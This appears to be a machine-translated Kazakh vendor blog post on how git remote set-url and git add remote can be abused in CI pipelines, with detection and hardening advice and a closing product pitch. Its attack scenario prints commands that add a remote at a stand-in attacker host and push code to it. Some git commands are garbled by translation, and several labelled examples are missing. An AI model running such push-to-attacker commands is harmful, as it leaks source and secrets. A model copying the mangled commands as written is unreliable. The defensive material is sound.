git remote set-url - git remote үшін url set - git add remote

Git remote set-url жеткізу тізбегінің қаупіне айналған кезде

Қарапайым Git командасының артындағы жасырын қауіп

Көптеген әзірлеушілер үшін git remote set-url origin сияқты пәрменді іске қосу Git конфигурациясын сақтаудың тағы бір қадамы ретінде қарапайым болып көрінеді. CI скрипттері сонымен қатар құрастыру кезінде git remote set-url, Git set url for remote немесе Git remote add to fetch немесе push code сияқты командаларды жиі орындайды. Бірақ тәуекел мынада: егер шабуылдаушы сол конфигурацияны (жергілікті немесе CI ішінде) бұзса, олар сіздің дереккөзіңізді зиянды репозиторийге қайта бағыттай алады, тіркелгі деректерін ұстап алады немесе жеткізу тізбегіне зиянды бағдарлама енгізе алады.

Оның әдетте қалай қолданылатынының мысалы:

# Заңды пайдалану

git remote set-url бастапқы кодын https://github.com/org/project.git мекенжайынан іздеу

⚠️ Қауіпті емес мысал, тек білім беру мақсаттары үшін. Өндірісте пайдаланбаңыз.

Нұсқаны қауіпсіздендіріңіз, PIN кодын енгізіңіз және репозиторийдің бастапқы кодын тексеріңіз

Неліктен? Егер қашықтан басқару пульті шабуылдаушы басқаратын хостқа ауыстырылса, әрбір келесі git fetch/git push зиянды кодқа нұсқайды. Мүмкіндігінше сенімді дереккөздерді қатаң кодтаңыз және жарамсыз динамикалық URL мекенжайларынан аулақ болыңыз.

Қашықтан басқару құрастыруды қалай бұзады Pipeline

Өзгертілген Git қашықтағы URL мекенжайы автоматтандырылғанда ауыр зардаптарға әкелуі мүмкін pipelines, мұнда сценарийлерге жанама түрде сенуге болады.

Мысал сценарий:

  • CI скрипті репозиторийлерді динамикалық түрде қайта конфигурациялау үшін git remote set-url пайдаланады.
  • Скриптке бұзылған орта айнымалысы (мысалы, токен немесе репозиторий URL мекенжайы) енгізіледі.
  • Құрылым кодты зиянды репозиторийге алады немесе жібереді.
  • Шабуылдаушы бэкдорларды немесе бұрмаланған тәуелділіктерді енгізеді.

⚠️ Қауіпті емес мысал, тек білім беру мақсаттары үшін. Өндірісте пайдаланбаңыз.

Қауіпсіз нұсқа, пайдалану алдында $REPO_URL тексеріңіз (ақ тізім / ксигенді тексеру).

Неге: Кіріс репозиторий URL мекенжайларын сақталған ақ тізіммен салыстырыңыз (немесе пайдаланыңыз) xygeni verify --git-origin) оларға әрекет етпес бұрын. Бұл шабуылдаушыларға қайта бағыттау үшін орта айнымалыларын қайта анықтауға жол бермейді pipelines.

Қашықтағы конфигурацияда рұқсатсыз өзгерістерді анықтау

Git қашықтан басқару пульті өзгертілген кезде сізге ескерту жасамайды. Проактивті бақылау .git/config және құрылыс алдындағы тұтастықты тексеру қажет.

Практикалық анықтау әдістері

  • Git конфигурациясын тексеріңіз:

     
    git remote -v

    Қорғалған бастапқы сызықта сақталған күтілетін URL мекенжайларымен шығысты салыстырыңыз.

  • тексеру .git/config тұтастық:

     
    sha256sum .git/config

    Бақылау қосындысын сенімді бастапқы сызықпен салыстырыңыз.

  • CI негізіндегі валидация:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

Білім беру туралы ескертпе: Журналдарда немесе қорғалмаған орталарда ұзақ мерзімді тіркелгі деректері көрсетіліп, тұтастықты тексеруді немесе растау командаларын орындамаңыз. Уақытша тіркелгі деректерін, құпия құпияларды пайдаланыңыз және мүмкіндігінше артықшылықты пайдаланушы ретінде тексеру командаларын орындамаңыз.

Анықтау бойынша кеңес: Канондық емес домендерге нұсқайтын қашықтан басқару құралдарын іздеңіз (күтпеген жерден .net, .io, IP мекенжайлары), қайталанатын қашықтағы атаулар немесе тексерусіз репозиторий URL мекенжайларын басқаратын орта айнымалылары. Ерте анықтаудың алдын алады git set-url ластаушы құрылыстардан манипуляция.

Репозиторийдің түпнұсқаларын қорғау Guardrails және хэшті тексеру

Алдын алу дегеніміз - сіз қай репозиторийлерден құратыныңызды қатаң бақылауды қамтамасыз ету. Guardrails қол қоюды, хэшті валидациялауды және CI айнымалыларын кім өзгерте алатынын шектеуді қамтиды.

Репозиторий тұтастығының қауіпсіз тәжірибелері

Мүмкіндігінше, Pin репозиторийінің URL мекенжайлары, сенімді дереккөздер:

Репозиторий хэштерін тексеру:

Құрастыру алдында HEAD күтілетін хэшке сәйкес келетінін тексеріңіз.

⚠️ Қауіпсіз емес мысал, журналдарда токендерді басып шығару (өндірісте пайдаланбаңыз).

Қауіпсіз нұсқа, сейфтен құпияларды оқыңыз және ешқашан басып шығармаңыз

Шағын тексеру тізімі: Git қашықтан басқаруды қауіпсіз басқару

  • орындалуын қашықтағы URL мекенжайының ақ тізімі немесе тексеруі.
  • Құрастыру алдында .git/config тұтастығын тексеріңіз.
  • Қол қойылған болуы керек commits және тегтер.
  • CI ортасының айнымалыларын кім өзгерте алатынын шектеңіз.
  • Аудит үшін git remote set-url және git remote add командаларының орындалуларын журналға жазу.

Git Remote қызметін біріктіру URL мекенжайын тексеруді орнату CI/CD Pipelines

қосу guardrails және қашықтан манипуляцияны ерте кезеңде тоқтату үшін автоматтандырылған тексеру pipeline.

Қоршау мысалы: қайталанатын немесе рұқсат етілмеген қашықтан басқару пульттарын тексеріңіз

Ортақ ортада жеткізу тізбегінің бұзылуына қарсы күресті күшейту

Ортақ жүгірткіштер мен рұқсат етілген қашықтан басқару командалары жоғары қауіпті. Жұмыс барысында тексерілмеген қашықтан басқару пультін қосатын командалардан аулақ болыңыз.

⚠️ Қауіпсіз емес мысал, шабуылдаушының қашықтан басқару пультін қосу (пайдаланбаңыз).

Қауіпсіз нұсқа, тексерілген домендермен шектеңіз және тек бекітілген дереккөздер үшін –set-url пайдаланыңыз

Ескерту: уақытша жүгірушілерді артық көріңіз және тапсырмалар арасында тұрақты ортақ кэштерден аулақ болыңыз.

Жүгірушілер туралы ескертпе: Әрбір тапсырма үшін қайта жасалатын уақытша, оқшауланған жүгірушілерді пайдаланыңыз. Ортақ дискілер немесе кэштер құрастыруларда бұзылған файлдарды сақтай алады.

Қашықтан тексеру үшін Git жиынтығының URL мекенжайын біріктіру CI/CD Pipelines

git remote set-url пайдалануын қорғау тек қолмен тексерулер туралы емес; бұл автоматтандыру туралы. Қазіргі DevSecOps жұмыс ағындары валидацияны тікелей біріктіре алады CI/CD pipelines.

Мысал: Автоматтандырылған қашықтан тұтастықты тексеру

Бұл конфигурация кез келген құрастыру немесе орналастыру іске қосылмас бұрын, pipeline растайды:

  • Репозиторийдің URL мекенжайы күтілген мәнге сәйкес келеді.
  • Commit қолтаңбалар жарамды.
  • git add remote арқылы күтпеген қашықтан басқару пульті қосылмады.

Қосымша CI басқару элементтері

  • Pre-commit hooksРұқсат етілмегенін тексеріңіз: git қашықтан орнату URL мекенжайы командалар бар commits.
  • Саясатты код ретінде қолдану: Нұсқамен басқарылатын саясаттардың бөлігі ретінде рұқсат етілген бастапқы кодтарды анықтаңыз.
  • Тәуелділікті айналау: Кодты тікелей интернет көздерінен емес, тексерілген ішкі айналардан алыңыз.

Бұл тексерулерді автоматтандыру қате конфигурациялардың алдын алып қана қоймай, сонымен қатар код жіберілмес бұрын жеткізу тізбегінің бұзылуы әрекеттерін анықтайды.

Ортақ ортада жеткізу тізбегінің бұзылуына қарсы күресті күшейту

Ортақ жүгірушілер немесе уақытша CI орталары қосымша қауіптер тудырады. Бірнеше құрастыру ресурстарды ортақ пайдаланған кезде, зиянды қашықтан басқару құралдарын сеанстарда сақтау үшін git remote set-url немесе git add remote командаларын қаруландыруға болады.

Жалпы шабуыл сценарийлері

Бұзылған құрастыру скрипті шабуылдаушының репозиторийіне код жіберу үшін жаңа қашықтан басқару құралын қосады:

git қашықтағы сақтық көшірмені қосыңыз https://attacker.example.com/repo.git

git push сақтық көшірмесін негізгі күйге келтіру

  • Сол CI агентінде жұмыс істейтін тағы бір жоба осы ластанған күйден алынады.
  • Токендер немесе құрастыру артефактілері сияқты құпия деректер рұқсатсыз жіберулер арқылы ағып кетеді.

Қатайту шаралары

  • Уақытша жүгірушілер: Әрбір құрастырудан кейін CI орталарын қалпына келтіріңіз.
  • Желіні оқшаулау: Шығыс трафикті бекітілген домендерге шектеңіз.
  • Ең төменгі артықшылық: Git операцияларына арналған рұқсаттарды шектеу pipelines.
  • Артефактқа қол қою: Барлық құрастыру нәтижелерінің криптографиялық түрде қол қойылғанына және тексерілгеніне көз жеткізіңіз.

Оқшаулау, валидация және мониторингті біріктіру арқылы топтар қашықтан басқару үшін git set url пайдаланатын шабуылдарды бейтараптандыра алады.

Репозиторий сенімін тексеру, бақылау және автоматтандыру

Бір рет дұрыс пайдаланылмаған git remote set-url немесе тексерілмеген git add remote бүкіл құрастыру процесін шабуылдаушы басқаратын репозиторийге үнсіз бағыттай алады. DevOps жүйесіндегі өнімділік пен ымыраға келу арасындағы шекара бұрынғыдан да жұқа және бағдарламалық қамтамасыз ету тізбегіне шабуылдар дәл соны пайдаланыңыз.

Өзіңізге деген сенімді сақтау үшін pipelines:

Ұқсас платформалар Ксигени зиянды қашықтан басқару құралдары кодты орналастыруға мүмкіндік алғанға дейін, DevSecOps командаларына қашықтан басқарудың дұрыс емес конфигурацияларын анықтауға, репозиторийдің сенім шекараларын бақылауға және Git-ті дұрыс пайдаланбаудан туындайтын жеткізу тізбегінің қауіптерін блоктауға көмектеседі.

Жұмыс процесіңізге сеніңіз, бірақ дереккөзіңізді тексеріңіз. Осылайша сіз git remote set-url файлының келесі қауіпсіздік бұзушылыққа айналуына жол бермейсіз.

sca-құралдары-бағдарламалық жасақтама-композиция-талдау-құралдары
Бағдарламалық жасақтама тәуекелдеріне басымдық беріңіз, оларды жойыңыз және қауіпсіз етіңіз
Тегін аккаунтыңызды алыңыз.
Несие картасы қажет емес.

Бағдарламалық жасақтаманы әзірлеу және жеткізуді қауіпсіз етіңіз

Xygeni өнім жиынтығымен бірге